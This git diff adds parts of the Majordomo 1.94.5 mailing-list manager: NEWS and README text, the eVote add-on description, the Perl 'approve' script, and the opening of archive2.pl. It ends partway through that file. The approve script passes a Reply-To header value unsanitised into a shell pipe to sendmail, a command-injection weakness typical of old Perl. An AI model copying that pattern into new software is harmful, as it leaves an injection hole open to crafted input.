usually run by the wrapper +and must be there anyway. + + +Changes visible to the Majordomo owner: + +The default $sendmail_command now includes the -oee option to force +sendmail to mail as many errors as possible instead of exiting with nonzero +exit code at unpredictable times. + +Code is provided in majordomo.cf to prevent majordomo, resend and the +tools from running when the system load average exceeds a configurable +limit. This code is disabled by default. It requires the standard +"uptime" command. + +The default umask for all majordomo-created files is now set in +majordomo.cf, and defaults to 007. + +The variable $shlock'retries has been renamed to $shlock'waittime to better +match its actual meaning as the maximum time (in seconds) that the locking +system will wait for a lock. + +A new variable, $majordomo_dont_reply, has been added. Majordomo will not +respond to any piece of mail sent from an address matching this regular +expression. It defaults to '(mailer-daemon|uucp|listserv|majordomo)\@'. + +The locking system has been improved and should have much greater +resistance to looping and otherwise uncontrolled behavior in the face of +improperly set permissions and nonexistent files. + +Many bugs relating to an improperly set $bounce_mailer have been fixed. +This should end the abort messages complaining about null mailers not being +executable. + + +Changes visible to list owners: + +If a list adds its own Reply-To: header, any Reply-To: header in +incoming messages will be removed. + + +Changes visible to end users: + +Requests for confirmation have been made more detailed, and the backslash +syntax for splitting long lines has been explained in those messages. + +Confirmation messages sent by the "subscribe" command have been +improved. They contain more reasons why a confirmation request +may not be received. + + +Many more checks for illegal addresses have been included. Users are +informed when they supply only their name or otherwise supply a nonsense +address. + +The response to the who command includes a subscriber count. diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/README b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/README new file mode 100644 index 0000000..ded2af3 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/README @@ -0,0 +1,569 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Majordomo, noun: a person who speaks, makes + arrangements, or takes charge for another. From + Italian maggiordomo or Spanish mayordomo, both from + Medieval Latin "major domus" - "chief of the house". + (Barnhart Concise Dictionary of Etymology) + + Release 1.94.5 + README +-------------------------------------------------------------------------- + +-> Current users of Majordomo whom are upgrading will want to <- +-> read the NEWS file for details on what has changed between <- +-> this and the previous version of Majordomo. <- + + Release 1.94.5 of Majordomo is primarily a security and bugfix + release, incorporating changes which fix problems or correct + pressing deficiencies in version 1.94.4. Please read the + NEWS file for changes between versions 1.94.4 and 1.94.5 + + * * * * * * * * * * * * * * + +If you know what Majordomo is and simply want install it, read the +INSTALL file. Browse through this file, though; there's probably +something new here. + + * * * * * * * * * * * * * * + +-------------------- +* What is Majordomo? +-------------------- +From the fine Majordomo FAQ (found in Doc/FAQ), maintained by Dave Barr + : + + Majordomo is a program which automates the management of Internet + mailing lists. Commands are sent to Majordomo via electronic mail to + handle all aspects of list maintenance. Once a list is set up, + virtually all operations can be performed remotely, requiring no + intervention upon the postmaster of the list site. + + Here's a short list of some of the features of Majordomo. + + * supports various types of lists, including moderated ones. + * List options can be set easily through a configuration file, + editable remotely. + * Supports archival and remote retrieval of messages. + * Supports digests. + * Written in Perl, - easily customizable and expandable. + * Modular in design. + * Includes support for FTPMAIL. + +Majordomo is a "groupware" project. It has evolved from the initial +code base done by Brent Chapman (brent@greatcircle.com), with further +maintenance done by John Rouillard (rouilj@cs.umb.edu). The current +Majordomo maintainer is Chan Wilson (cwilson@sgi.com). + +Along the way, it has picked up many features and additions from +various authors. Because of this, and due to the initial design of +Majordomo, certain features (archiving, digesting, and moderated +lists) are currently done in a "non-optimum" fashion. In short, +configuring Majordomo to do some of the advanced features can be +confusing. This is a known problem and is being worked on. + + +You'll need the following to use Majordomo: + + o Perl, version 4.036 or version 5.002 (or better) + **NOTE** Future versions of Majordomo will *NOT* work + with perl4. + o a C compiler + +Other programs that might be useful are: + + o bulk_mailer: ftp://cs.utk.edu/pub/moore/bulk_mailer + For large lists. + + + * * * * * * * * * * * * * * + +The INSTALL file details how to install and configure Majordomo. + +Once you've installed Majordomo, the NEWLIST file describes how to add +new lists under Majordomo control. + + * * * * * * * * * * * * * * + +The rest of this README file fills in background information on +Majordomo, where to get help, find others using Majordomo, common +problems, and some other bits: + + * Attributions + * Mailing Lists/Support + * More Documentation + * The list configuration files + * Common Problems + * Error Messages + * Using Digest and Archive + * Other Programs + * Tricks + * Customizing the default list config values + +-------------- +* Attributions +-------------- + +Majordomo and digest were originally written by Brent Chapman, however +he doesn't have the time currently to do more development on it. John +Rouillard did a lot of work for configuration files and managed the +releases for the 1.62 to 1.93 time frame. Chan Wilson +(cwilson@sgi.com) is currently "release coordinator" for 1.94 and +beyond. + +The FAQ was compiled by Vincent D. Skahan and is currently being +maintained by David Barr . + +In addition to those above, the following people deserve recognition for +their contributions in shaping Majordomo: + + Andrew Boyd + Paul Close + R. Gary Cutbill + Hamilton Gilbert + Jennifer Joy + Alan Millar + John C. Orthoefer + Jerry Peek + Paul Pomes + Jason L Tibbitts III + Dave Wolfe + +To anybody I left off the attributions list, my apologies. Let me know +that I left you off, and I will make sure that you get mention in a +future release. + +----------------------- +* Mailing Lists/Support +----------------------- + +There are four mailing lists about Majordomo on GreatCircle.com. +The wise Majordomo-Owner is strongly advised to subscribe to +Majordomo-Announce to learn of new versions and patches to Majordomo. +This list is very low volume. + +People with questions about configuring, installing, or using +Majordomo should subscribe to Majordomo-Users. + +People interesting in technical discussion of Majordomo, and +developments on it, should join Majordomo-Workers. + + Majordomo-Users - for discussions on using Majordomo + Majordomo-Announce - for announcements of new releases + Majordomo-Workers - for people interested in development of + Majordomo. + Majordomo-Docs - for people interested in development of + documentation for Majordomo. + +To subscribe to any of the lists above, send an appropriate +"subscribe" command to "Majordomo@GreatCircle.COM". + +-------------------- +* More Documentation +-------------------- + +The 'Doc' directory contains the FAQ (Frequently Asked Questions), +which should answer most of your questions. + +In the 'Doc/man' directory, you'll find manual pages for approve, +bounce, bounce-remind, digest, resend, and majordomo. + +For your list-managers, the file Doc/list-owner-info contains some +good information. It can be sent to them and should be enough +information to get them started using majordomo. You'll want to +update it for your site-specific needs. + +'Doc/majordomo.ora' contains the chapter about Majordomo from the +Nutshell Handbook "Managing Internet Information Services," written by +Jerry Peek. The chapter is (c) Copyright 1994 by O'Reilly & +Associates, Inc., and was included in the Majordomo distribution by +permission of the publisher. + +While this chapter is a good introduction to setting up the majordomo +software, it is a tad out of date, since it covers version 1.62. :-( Jerry +is in the process of updating this for 1.94.3, and an updated version will +hopefully be included in future releases. + +The original LISA 6 (Oct 1992, Long Beach, CA) paper describing +Majordomo is at Doc/majordomo.lisa6.ps. PLEASE NOTE that it is useful +only for getting a feel for majordomo. It should not be used as an +installation document. + +You did read the FAQ, didn't you? + + +------------------------------ +* The list configuration files +------------------------------ + +Each list has a configuration file associated with it, +.config. If a list does not have it's .config file, issue a +'lists' command to Majordomo -- it'll create one for you. + +Ideally, the config file is meant to be self-documenting, but at the +moment it can be overwhelming to a novice user. This will be fixed in a +future release. The best way to learn about the configuration file is to +issue a 'config ' to Majordomo, +and carefully read through the results. Also read the +Doc/list-owner-info file, which explains some of the more commonly +tweaked variables. + +In addition to the .config file, there are .info and .intro files that +hold informative and introduction information about the list. These +files are best changed via Majordomo's 'newinfo' and 'newintro' commands. + +The file .intro contains the "intro" text for the list, +which is sent in response to "intro" and successful "subscribe" +commands. The file .info contains the "info" text for the +list, which is sent in response to "info"; it's also sent after a +"subscribe" command if no "intro" file exists. + +In a future version of majordomo, the option will be provided to keep +the info in the config file rather than using an external +file. However, the external file is useful if you are serving up the +info information by some means other than majordomo (e.g. Web, finger, +ftp). + +------------------------------- +* Common Problems and Debugging +------------------------------- +Nearly all the install problems are now caught by the 'config-test' +script that one runs after the install. + +What is left, then, is primarily incorrect usage caused by configuring +the aliases improperly, and changing the ownership of Majordomo files +after it is up and running. If you're still stuck, it's easy to turn +some debugging on. + +If all else fails, the mailing lists mentioned above are a good place +to ask for help. + +** Insecure Usage + +If you get complaints about "insecure usage" from "wrapper", then you're +probably invoking it incorrectly. The first argument to "wrapper" should +be the simple filename of the program in the W_BIN directory (defined in +the Makefile) that you want to run. You should NOT specify the full path +name to the program; as a security measure, to keep people from being able +to run anything they want with the setuid/setgid permissions of "wrapper" +"wrapper" will ONLY run programs from the W_BIN directory. If what "wrapper" +is told to run contains a "/", it assumes somebody is trying to make it run +something from somewhere else, and complains about "insecure usage". For +example, the right way to use wrapper is in something like this: + + majordomo: "|/usr/local/majordomo/wrapper majordomo" + +The WRONG way is "|/usr/local/majordomo/wrapper /usr/local/majordomo/majordomo" + +** Permissions + +Make sure you've got all the permissions right. In particular, you need +to watch for permissions of DIRECTORIES files are in, as well as +permissions on the files themselves. Almost any time Majordomo tries to +read a file, and every time it tries to write one, it tries to create a +lock file in the same directory as the file. If it can't create that +lock file for any reason (because the directory permissions won't allow +it, or because a lock already exists for that file), Majordomo waits +between 1 and 10 seconds (chosen randomly) and then tries again; it keeps +trying for (by default) 5 minutes. If Majordomo isn't working for you, +and takes some multiple of 5 minutes to fail, you've almost certainly +got a permission problem; check the Majordomo log file. If there's +nothing in the log file, then you've got a permission problem with the +log file and/or the directory it's in. + + +---------------- + +** Debugging + +If messages to a particular list are getting mangled, perhaps due to +custom headers, footers, or something else, try defining the 'debug' +variable for the list. This will cause resend (the Majordomo program +that sends the message out to the list) to *not* send the message out, +but leave it in $TMPDIR/resend..out. You can then examine +the message contents. + +If you suspect something deeper is amiss, then put '$DEBUG = 1;' in +your majordomo.cf. This causes Majordomo and resend to spew debug +messages to $TMPDIR/majordomo.debug and $TMPDIR/resend.debug, +respectively, but operate as normally. If you invoke your mailer in +verbose mode ('Mail -v' or 'mail -v' will hopefully do this) then +debug output will get sent to your terminal instead of the files. + +Finally, if you're up to mucking around in the perl code, symlinking +perl into ~majordomo and invoking it via wrapper will give you a debug +environment with Majordomo's permissions and view of the world: + + ~majordomo% ./wrapper perl -d majordomo + +Now set breakpoints, type 'continue', give it a valid email header and +the desired Majordomo command. The only header that you need is a +valid "reply-to" field. The rest is up to you. + +* Error Messages +---------------- +Majordomo now catches most of problems that plagued earlier versions; +disk space shortages, permissions problems, other resource problems. +When at all possible, a comprehensible email is sent to the +Majordomo-Owner, who should be able to fix things. List-specific +problems are usually sent to the list-owner. Before attempting to track +down errors and checking debug logs, be certain that running "wrapper +config-test" as a normal user reports no problems. The config-test code +will detect most common causes of errors. + +Here's most of the error messages that Majordomo will return, and an +explanation of why they might be seen: + +MAJORDOMO ABORT - This error occurs anytime some anomaly occurs during + the majordomo run. It causes majordomo to send an error message to the + majordomo owner, and exit immediately. No further commands in the + input message are processed. Mail is sent to the originator of the + message that caused the abort consisting of the output from all command + in the message that had succeeded before the abort. The types of + errors that cause an abort are shown below. + + Hostile Address -- somebody submitted an address that majordomo deemed + to be a potential security problem. Some mailers will execute any + command line appearing after a vertical bar, and will use addresses + beginning with a dash as an option instead of an address. In + addition, if the addresses matches an existing file, the mailer may + attempt to overwrite it. For these reasons, majordomo will refuse to + process such addresses. Majordomo will do additional checks on + messages containing '/' characters to verify that they are correct + X400 addresses; these checks may be disabled in majordomo.cf. (See + $no_true_x400 and $no_x400at.) + + Non-domained Address -- an address was submitted that was of the form + user@host without a fully qualified domain name. Addresses of this + form are usually caused by either confused users or improperly + configured mail transfer agents. If your host is generating them, it + is misconfigured. + + Can't open/append/read -- for some reason majordomo can't + open/append/read a to a file that it was supposed to be able to + access. Usually this is caused by improper permissions. + + chmod(, link(, operation not permitted -- the corresponding chmod or + link operation failed when it shouldn't have. Usually this is caused + by improper permissions, most often on the wrapper. Make certain + that it is installed setuid, and that "wrapper config-test" run as a + normal user (not root or the majordomo user) reports no problems. + + Can't invoke -- the program majordomo wanted to invoke to send mail + couldn't be invoked. This error is usually only seen when you are + tracing the SMTP connection using /usr/ucb/Mail -v. + + Can't connect to sendmail -- for some reason the attempt to run + sendmail in the function resend_sendmail in the resend program + failed. + + mailer not executable -- either the configured mailer did not exist or + could not be run; make certain that config-test reports that the + mailer is properly accessible. Bugs in previous versions caused + errors of the form "mailer -fMajordomo-Owner not executable." These + bugs should be fixed; please report any occurrences of this type of + error just in case the bugs persist. + + mailer exited unexpectedly with error XX -- it is expected that the + mailer will return a zero exit code upon success, so any nonzero + code is reported as an error. The mail may or may not have been + properly sent to your list. To track down the source of this + error, first inspect the debug logs (see Debugging below) to see + if the mailer emitted any diagnostics. Failing that, consult your + mailer's documentation for the meaning of the exit status, or if you + use Sendmail, consult the chart below for some of the more common + errors: + + 64 - EX_USAGE - Sendmail uses this to indicate a command line usage + error, but it also uses it to report a general error condition. + Some versions of Sendmail do this somewhat unpredictably and for + this reason the '-oee' flag has been added to the default mailer + definitions. This flag should prevent these errors for versions of + Sendmail that support it. + + 67 - EX_NOUSER - The alias that is used to send out list mail (which + is passed as the last argument on resend's command line) does not + exist. Make certain that there are no typographical errors in your + alias file, and that the file has been properly rebuilt. + + 69 through 74, 77 - These are generally serious errors that are + caused by either lack of resources or improper configuration of + Sendmail. You should consult the Sendmail documentation. + +unknown mailer error XX - This can be caused by a number of things all + relating to the wrappers inability to execute the perl script. + This can include: + + the perl script is not executable + the location of the perl program specified with the #! + line is incorrect + the location where the wrapper looks for the perl + scripts is not the location where the scripts are + located. + + The current wrapper doesn't use the standard sendmail error + codes, hence the "unknown mailer error" annotation in the + error message. A future wrapper version will use the + appropriate errors from sysexits.h. + + +-------------------------- +* Using Digest and Archive +-------------------------- + +Digesting and Archiving will be integrated into Majordomo soon. In +the meantime, they require setting up additional aliases and +configuring a few other things. + +For digests, read the README.digest and quick-digest-setup files in the +Doc subdirectory, as well as the manual page in Doc/man + +For archiving, there are three archive programs available. The best one +to use is called archive2.pl, and it is present in the main Majordomo +directory. (If you'd like to use one of the other archivers, be sure to +move it to, or make a link to it in, the main directory.) Comments at +the top of the file explain all the options available, and here's a brief +extract that details what most people want: + +# A sample /etc/aliases file entry to use "archive" add each incoming message +# to a "my-list.YYMM" file in the "/usr/local/mail/lists/my-list.archive" +# directory: +# +# my-list-archive: "|/usr/local/mail/majordomo/wrapper archive2.pl +# -f /usr/local/mail/lists/my-list.archive/my-list +# -m -a" + + +---------------- +* Other Programs +---------------- + +The "bounce-remind" script should be run out of cron using a line similar to: + + 10 2 * * * /tools/majordomo/wrappers/bblisa/wrapper bounce-remind + +This sends mail to all of the people on the bounces list to warn them +that they are no longer on the lists they thought they were on. + +The "medit" program is used to hand edit the mailing list files, but +it locks the files first so that majordomo won't touch them while you +are editing them. You may need to edit this program and change the +location of the majordomo.cf file if the majordomo.cf file is not +accessible as /etc/majordomo.cf). + +The "new-list" is used when starting a new list. Often there is a +flood of mail when a list starts up. If you wish to allow a grace +period for people to subscribe before actually putting the list +"on-line", the new-list script can be put at the list address, and it +will notify people that the list is not yet open for business. + +The "request-answer" program attached to the "-request" address for +the list sends back a recording telling folks how to use the Majordomo +address for their requests, or how to contact a human if they really +need to. You can use majordomo with the -l option to sit at the +-request address instead of using request-answer if you like. + +The "approve" program is intended to be used by a mailing list +administrator to approve messages send by majordomo or resend. + +The "bounce" program removes an address from an active majordomo list, +and subscribes it to the bounces list. This is used when mail to the +address starts bouncing. + +-------- +* Tricks +-------- + +This section has a few tricks when using majordomo and resend. + +1) How do I maintain the restrict_post file for resend? + + The easiest way is to create a pseudo list in majordomo. The file + that contains this list if the file name used for the -I flag to + resend. For example the filename "-can_post" can be + created in the majordomo mailing lists directory. This list should + be unadvertised and closed. Don't bother creating any sendmail + aliases for it. This allows people to be added to or removed from + the list using majordomo commands. + +2) How can I have more than one moderator/owner for a list? + + Again majordomo is your friend. Create a mailing list called + "-owner". Again create it nonadvertised and closed. + Set up the appropriate aliases for the list: + + owner-listname::include:/usr/local/Lists/-owner + listname-owner:owner-listname + owner-owner-listname: owner-majordomo + + and you are done. + +3) I run smail. How do I set up majordomo to work in this environment? + + Just set $sendmail_command to /bin/smail in your majordomo.cf. + + It has been reported that by default smail does not understand the + :include: syntax, and that can be fixed by adding the following to + /etc/smail/directors: + + aliasinclude: + driver=aliasinclude, + nobody; + copysecure, + copyowners, + + (Thanks to Steve Casey for this information.) + + +------------------------------------------------ +* Customizing the default list config values +------------------------------------------------ + +The default values of the list configuration files are taken from the +file 'config_parse.pl' in the associative array %known_keys. + +It's best to read the above section _The list configuration files_ and +the Doc/list-owner-info file, as well as carefully reading an existing +list configuration before continuing. + +If you want to change the defaults, change the values assigned to each +keyword. There is some documentation in the config_parse.pl file. The +config_parse.pl file is also a man page describing the programmatic +interface to the config file parser and some other details about the +config file parser. + +Paul Pomes p-pomes@uiuc.edu suggests the following as replacements for +the message_fronter and message_footer default values. I haven't +tested them, but they may be useful: + + +'message_fronter', '#! local($TEMP) = $list; + if ( $list =~ /-digest$/ ) { + $TEMP =~ s/-digest$//; + "In this issue:\n\n\t_SUBJECTS_\n\nSee the end of the digest for information on subscribing to the $TEMP\nor $TEMP-digest mailing lists.\n"; + } else { + ""; + }', +'message_footer', '#! local($TEMP) = $list; + if ( $list =~ /-digest$/ ) { + $TEMP =~ s/-digest$//; + "To subscribe to $TEMP-digest, send the command:\n\n\t + subscribe $TEMP-digest\n\nin the body of a message to \"Majordomo@ + Majordomo.cso.uiuc.edu\". If you want\nto subscribe something + other than the account the mail is coming from,\nsuch as a local + redistribution list, then append that address to the\n\"subscribe\" + command; for example, to subscribe \"local-$TEMP\":\n\n\tsubscribe + $TEMP-digest local-$TEMP@your.domain.net\n\nA non-digest + (direct mail) version of this list is also available; + to\nsubscribe to that instead, replace all instances of + \"$TEMP-digest\"\nin the commands above with \"$TEMP\"."; + } else { + ""; + }', + +Note that the strings are all one line long. I have wrapped and broken +them here for ease of viewing. + +-------------------- diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/README.eVote b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/README.eVote new file mode 100644 index 0000000..5584b22 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/README.eVote @@ -0,0 +1,81 @@ +eVote is a majordomo-addon that allows the list's members to take +polls. It attaches to a majordomo-run email list by insertion into +the alias: + +sample: "|/usr/local/majordomo/wrapper eVote_insert resend ..." + +You can get the free Linux-ready software, in French or English, at +http://www.deliberate.com or you can join a fiddle@deliberate.com +majordomo-run list to play with it. + +eVote also provides support for multi-lingual web/email petitions +(English, French, and Spanish). + +eVoted Email Lists +====== ===== ===== + +eVote-enabled email lists feature: + +* Polls are initialized and administered by the members of the email + list with overriding powers given to the list's owner. + +* Members can change their own votes -- until the poll closes. + +* Poll types supported are: + + "Yes/No" votes or "Numeric" votes. + + "Single" items or "Grouped" items, examples being "Vote for One + of the Next Five" and "Distribute 20 Votes over the Next 10 Items". + +* 3 secrecy options: + + "Public" items: Members can see how other members voted. + + "Private" items: Votes are secret. + + "If-Voted" items: Members can see IF but not HOW others have voted. + +* The vote tally can be displayed while the poll is open, or hidden + until the poll is closed. + +How it works: eVote attaches to the email list in the alias file. Most +messages sent to the list's address are broadcast to the list as +usual. However, messages that start with the word "eVote" are scooped +out of the message stream and processed by eVote. + +eVote Petitions +===== ========= + +eVote provides support for multi-lingual petitions that are signed and +administered by email. + +* Allows only one signature per email address. +* Verifies email addresses by email receipt. +* Provides bounced mail support. +* Allows the signer to remove his own signature. +* Provides optional display of signatures. +* Integrates with remote WWW sites. +* Signatures are collected from the web site via Javascript. +* Customized html reports are updated automatically via ftp. +* Supports email forms as specified by the initializer of the petition. +* Provides remote initialization and administration of petitions. +* Optionally integrates with Majordomo allowing petitions to be + administered by committee. +* Software limited to over 4 billion signers. + + +The Clerk +=== ===== + +The Clerk is the underlying vote-server that maintains the data for +all eVote's interfaces. There is no other database server involved. + +The Clerk is an object-oriented C++ specialized database server, +specialized in that it can only serve vote data. It has no flexibility +in the data types it can store as do generalized relational or +object-oriented database servers. + +What is lost in flexibility is gained in automation: control of each +datum is given to the person who contributes it; the data are +maintained completely automatically. The administrator is not +involved. + +Questions? Write marilyn@deliberate.com. + +http://www.deliberate.com diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/approve b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/approve new file mode 100644 index 0000000..ce5727a --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/approve @@ -0,0 +1,252 @@ +#!/bin/perl + +# Approve Majordomo requests or "resend" bounces. +# +# Given arguments, approves the requests in those files; +# given no arguments, reads standard input. +# +# If the "Subject: " line is "APPROVE ", the message is treated as +# a request for approval from Majordomo. An appropriate command is generated +# and mailed to Majordomo to approve the request. +# +# If the "Subject: " line is "BOUNCE : ", the message is treated +# as a posting rejected by "resend" for some reason, and is reformatted with +# appropriate "Approved:" headers to cause it to succeed, then resubmitted +# for posting. +# +# Assumes that the "approve" password for each list is the same as the +# "approval" password used by "resend", and that this password is stored +# in a file called ".majordomo" in the user's home directory, in the +# following format: +# +# List Password Majordomo-Address +# +# Assumes that the "Majordomo-Address" field is an Internet-style +# "something@somewhere" address, and that postings for "List" should +# be sent to "List@somewhere". +# +# Here's an example of what a .majordomo file should look like: +# +# this-list passwd1 Majordomo@This.COM +# other-list passwd2 Majordomo@Other.GOV +# +# If, for instance, /tmp/request contains a standard request from Majordomo +# to a list manager, such as: +# +# From: Majordomo@This.COM +# To: this-list-approval@This.COM +# +# User@Fubar.COM (Joe User) requests you approve the following: +# +# subscribe this-list User@Fubar.COM (Joe User) +# +# If you approve, send a line such as the following to Majordomo@This.COM: +# +# approve PASSWD subscribe this-list User@Fubar.COM (Joe User) +# +# Then, if you run "approve /tmp/request" or "approve < /tmp/request", the +# following message will be sent to Majordomo@This.COM: +# +# To: Majordomo@This.COM +# +# approve passwd1 subscribe this-list User@Fubar.COM (Joe User) +# +# Brent Chapman Great Circle Associates +# Brent@GreatCircle.COM 1057 West Dana Street +# +1 415 962 0841 Mountain View, CA 94041 + +# $Source: /sources/cvsrepos/majordomo/approve,v $ +# $Revision: 1.15 $ +# $Date: 1997/04/05 19:18:36 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +$MAILER = '/usr/lib/sendmail' if -x '/usr/lib/sendmail'; +$MAILER = '/usr/sbin/sendmail' if -x '/usr/sbin/sendmail'; + +die "Couldn't find a sendmail to invoke, please define!" + if !$MAILER; + + +use Getopt::Std; + +getopts("df:") || + die("USAGE: approve [-f ] [-d] [ ...]\nStopped"); + +if (!defined($opt_f)) { + $opt_f = "$ENV{HOME}/.majordomo"; +} + +&read_config(); + +# Read the headers. Look at the "Reply-To:" header to figure out where to +# respond to. Look at the "Subject:" header to figure out if this is an +# APPROVE or a BOUNCE request. + +if (@ARGV) { + foreach $file (@ARGV) { + open(FILE, $file) || (warn("can't open \"$file\"; skipping"), next); + &process_file(FILE); + close(FILE); + } +} else { + &process_file(STDIN); +} + +exit(0); + +sub process_file { + local($FILE) = shift; + local($reply_to); + local($subject); + local($request); + local($list); + + while (<$FILE>) { + s/\n$//; + if (/^reply-to:/i) { + s/^\S*:\s+//; + $reply_to = $_; + $reply_to =~ tr/A-Z/a-z/; + next; + } + if (/^subject:/i) { + s/^\S*:\s+//; + $subject = $_; + $subject =~ tr/A-Z/a-z/; + ($request, $list) = split(/\s/, $subject, 2); + $list =~ s/:.*//; + next; + } + if (/^$/) { + last; + } + } + + # we've read the headers, so we should know now if this is an "APPROVE" + # or a "BOUNCE" that we're processing. + + if ($request eq "approve") { &process_approve($FILE); } + elsif ($request eq "bounce") { &process_bounce($FILE); } + else { + warn("unknown request type '$request' in file '$file'; skipping"); + } +} + +sub process_approve { + local($FILE) = shift; + while (<$FILE>) { + if ((/^\tsubscribe\s/) || (/^\tunsubscribe\s/)) { + if (!defined($reply_to)) { + warn("No \"Reply-To:\"; exiting"); + exit(1); + } + s/^\t//; + split; + $list = $_[1]; + $list =~ tr/A-Z/a-z/; + $passwd = $passwd{"$list\@$reply_to"}; + if (! $passwd) { + warn("no password for list $list; skipping \"$_\""); + next; + } + if (defined($opt_d)) { + open(MAIL, ">&STDOUT"); + print MAIL "-" x 20, "\n"; + } else { + open(MAIL, "|$MAILER $reply_to") || + die ("open(\"|$MAILER ...\"): $!"); + } + + print MAIL "To: $reply_to\n\n"; + print MAIL "approve $passwd $_"; + close(MAIL); + last; + } + } + print STDERR "Mailed approved command to $list list.\n" + unless defined $opt_d; +} + +sub process_bounce { + local($FILE) = shift; + local ($from_skipped); + + # we've already skipped the header, so set up to approve the message + + # first, figure out where to send it + if (defined($reply_to)) { + # if there's a "Reply-To:" field set, use it. + $post_to = $reply_to; + } elsif ($list =~ /\@/) { + # if the list name already appears fully qualified, use it + $post_to = $list; + } else { + # Well, can we figure it out? + if ($site{$list} eq "MULTIPLE") { + warn("Can't distinguish between multiple lists named '$list'\nSkipping '$file'"); + return; + } else { + $post_to = $list . "\@" . $site{$list}; + } + } + + if (!defined($passwd{$list})) { + warn "Can't find password for list $list, Stopped"; + return; + } + + if (defined($opt_d)) { + open(MAIL, ">&STDOUT"); + print MAIL "-" x 20, "\n"; + print MAIL "To: $post_to\n\n"; + } else { + open(MAIL, "|$MAILER $post_to") || die("open(\"|$MAILER...\"): $!"); + } + + print MAIL "Approved: $passwd{$list}\n"; + + while (<$FILE>) { + if (/^>?From / && ! defined($from_skipped)) { + # Skip any initial "From " or ">From " line + $from_skipped = 1; + next; + } + s/^~/~~/; + print MAIL $_; + } + close(MAIL); + print STDERR "Mailed approved message to $list list.\n"; +} + +sub read_config { + local($l); + local($p); + local($m); + local($s); + open(CONF, $opt_f) || die("open(CONF, \"$opt_f\"): $!"); + while () { + s/\n$//; + s/#.*//; + if (/^$/) { next; } + split; + $l = $_[0]; $l =~ tr/A-Z/a-z/; # list + $p = $_[1]; # password + $m = $_[2]; $m =~ tr/A-Z/a-z/; # majordomo@site + split(/\@/, $m); + $s = $_[1]; $s =~ tr/A-Z/a-z/; # site + + $passwd{$l} = $p; + $passwd{"$l\@$m"} = $p; + $passwd{"$l\@$s"} = $p; + if (defined($site{$l})) { + # if it's already defined, there's more than one list by this name + $site{$l} = "MULTIPLE"; + } else { + $site{$l} = $s; + } + } + close(CONF); +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/archive2.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/archive2.pl new file mode 100644 index 0000000..8f857bd --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/archive2.pl @@ -0,0 +1,188 @@ +#!/bin/perl + +# Copyright 1993, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/archive2.pl,v $ +# $Revision: 1.11 $ +# $Date: 2000/01/07 11:00:49 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# archive -f {-u|-a} [-d|-m|-y] [file ...] +# -f REQUIRED; specifies base file name for archive +# -u Input is a UNIX archive (separated by "From " lines) to split +# -a Input is a message to append to archive +# -d Archive file is .YYMMDD +# -D Archive file is .YYYYMMDD +# -m Archive file is .YYMM +# -M Archive file is .YYYYMM +# -y Archive file is .YY +# -Y Archive file is .YYYY +# Exactly one of "-u" or "-a" must be specified. +# At most one of "-d", "-D", "-m", "-M", "-y", or "-Y" may be specified; +# if none is specified, archive name is simply +# +# An example of using "archive" to split an existing UNIX-style archive +# named "my-list.archive" into by-day archive files named "my-list.YYMMDD": +# +# archive -f my-list -d -u my-list.archive +# +# A sample /etc/aliases file entry to use "archive" add each incoming message +# to a "my-list.YYMM" file in the "/usr/local/mail/lists/my-list.archive" +# directory: +# +# my-list-archive: "|/usr/local/mail/majordomo/wrapper archive +# -f /usr/local/mail/lists/my-list.archive/my-list +# -m -a" + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +($program_name = $0) =~ s|.*/||; + +# Change directory to our home +chdir($ENV{'HOME'}) if $ENV{'HOME'}; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +use POSIX qw(ctime); +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking + +$hostname = &chop_nl(`hostname`); +&set_abort_addr($whoami_owner); +&set_log($log, $hostname, $program_name, "UNKNOWN"); + +# Here's where the fun begins... + +use Getopt::Std; + +$m = 1; +foreach (@ctime'MoY) { + $MoY{$_} = $m++; +} + +$usage = "Usage: $0 -f {-u|-a} [-d|-D|-m|-M|-y|-Y] [file ...]"; + +getopts("f:uadDmMyY") || die("$usage\nStopped"); + +if (!defined($opt_f)) { + print STDERR "'-f ' required\n$usage\n"; + exit 1; +} + +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); +&set_log($log, $hostname, $program_name, $opt_f); + +if (defined($opt_a)) { $mutex++; } +if (defined($opt_u)) { $mutex++; } +if ($mutex != 1) { + print STDERR "Either '-a' or '-u' required\n$usage\n"; + exit 2; +} + +$mutex = 0; + +if (defined($opt_d)) { $mutex++; } +if (defined($opt_D)) { $mutex++; } +if (defined($opt_m)) { $mutex++; } +if (defined($opt_M)) { $mutex++; } +if (defined($opt_y)) { $mutex++; } +if (defined($opt_Y)) { $mutex++; } +if ($mutex > 1) { + print STDERR "Only one of '-d', '-D', '-m', '-M', -y', or '-Y' allowed\n$usage\n"; + exit 3; 